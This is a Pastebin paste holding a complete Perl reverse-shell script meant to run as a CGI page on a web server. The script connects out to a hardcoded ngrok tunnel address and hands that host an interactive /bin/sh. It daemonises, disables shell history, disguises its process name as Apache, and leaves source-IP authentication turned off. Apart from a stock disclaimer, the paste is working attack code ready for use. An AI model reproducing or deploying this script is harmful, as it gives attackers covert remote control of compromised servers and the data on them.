Guest User

Untitled

a guest
Apr 21st, 2018
217
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.75 KB | None | 0 0
  1. #!/usr/bin/perl -w
  2. # perl-reverse-shell - A Reverse Shell implementation in PERL
  3. # Copyright (C) 2006 [email protected]
  4. #
  5. # This tool may be used for legal purposes only. Users take full responsibility
  6. # for any actions performed using this tool. The author accepts no liability
  7. # for damage caused by this tool. If these terms are not acceptable to you, then
  8. # do not use this tool.
  9. #
  10. # In all other respects the GPL version 2 applies:
  11. #
  12. # This program is free software; you can redistribute it and/or modify
  13. # it under the terms of the GNU General Public License version 2 as
  14. # published by the Free Software Foundation.
  15. #
  16. # This program is distributed in the hope that it will be useful,
  17. # but WITHOUT ANY WARRANTY; without even the implied warranty of
  18. # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
  19. # GNU General Public License for more details.
  20. #
  21. # You should have received a copy of the GNU General Public License along
  22. # with this program; if not, write to the Free Software Foundation, Inc.,
  23. # 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
  24. #
  25. # This tool may be used for legal purposes only. Users take full responsibility
  26. # for any actions performed using this tool. If these terms are not acceptable to
  27. # you, then do not use this tool.
  28. #
  29. # You are encouraged to send comments, improvements or suggestions to
  30. #
  31. # Description
  32. # -----------
  33. # This script will make an outbound TCP connection to a hardcoded IP and port.
  34. # The recipient will be given a shell running as the current user (apache normally).
  35. #
  36.  
  37. use strict;
  38. use Socket;
  39. use FileHandle;
  40. use POSIX;
  41. my $VERSION = "1.0";
  42.  
  43. # Where to send the reverse shell. Change these.
  44. my $ip = '0.tcp.ngrok.io';
  45. my $port = 14685;
  46.  
  47. # Options
  48. my $daemon = 1;
  49. my $auth = 0; # 0 means authentication is disabled and any
  50. # source IP can access the reverse shell
  51. my $authorised_client_pattern = qr(^127\.0\.0\.1$);
  52.  
  53. # Declarations
  54. my $global_page = "";
  55. my $fake_process_name = "/usr/sbin/apache";
  56.  
  57. # Change the process name to be less conspicious
  58. $0 = "[httpd]";
  59.  
  60. # Authenticate based on source IP address if required
  61. if (defined($ENV{'REMOTE_ADDR'})) {
  62. cgiprint("Browser IP address appears to be: $ENV{'REMOTE_ADDR'}");
  63.  
  64. if ($auth) {
  65. unless ($ENV{'REMOTE_ADDR'} =~ $authorised_client_pattern) {
  66. cgiprint("ERROR: Your client isn't authorised to view this page");
  67. cgiexit();
  68. }
  69. }
  70. } elsif ($auth) {
  71. cgiprint("ERROR: Authentication is enabled, but I couldn't determine your IP address. Denying access");
  72. cgiexit(0);
  73. }
  74.  
  75. # Background and dissociate from parent process if required
  76. if ($daemon) {
  77. my $pid = fork();
  78. if ($pid) {
  79. cgiexit(0); # parent exits
  80. }
  81.  
  82. setsid();
  83. chdir('/');
  84. umask(0);
  85. }
  86.  
  87. # Make TCP connection for reverse shell
  88. socket(SOCK, PF_INET, SOCK_STREAM, getprotobyname('tcp'));
  89. if (connect(SOCK, sockaddr_in($port,inet_aton($ip)))) {
  90. cgiprint("Sent reverse shell to $ip:$port");
  91. cgiprintpage();
  92. } else {
  93. cgiprint("Couldn't open reverse shell to $ip:$port: $!");
  94. cgiexit();
  95. }
  96.  
  97. # Redirect STDIN, STDOUT and STDERR to the TCP connection
  98. open(STDIN, ">&SOCK");
  99. open(STDOUT,">&SOCK");
  100. open(STDERR,">&SOCK");
  101. $ENV{'HISTFILE'} = '/dev/null';
  102. system("w;uname -a;id;pwd");
  103. exec({"/bin/sh"} ($fake_process_name, "-i"));
  104.  
  105. # Wrapper around print
  106. sub cgiprint {
  107. my $line = shift;
  108. $line .= "<p>\n";
  109. $global_page .= $line;
  110. }
  111.  
  112. # Wrapper around exit
  113. sub cgiexit {
  114. cgiprintpage();
  115. exit 0; # 0 to ensure we don't give a 500 response.
  116. }
  117.  
  118. # Form HTTP response using all the messages gathered by cgiprint so far
  119. sub cgiprintpage {
  120. print "Content-Length: " . length($global_page) . "\r
  121. Connection: close\r
  122. Content-Type: text\/html\r\n\r\n" . $global_page;
  123. }
Advertisement
Add Comment
Please, Sign In to add comment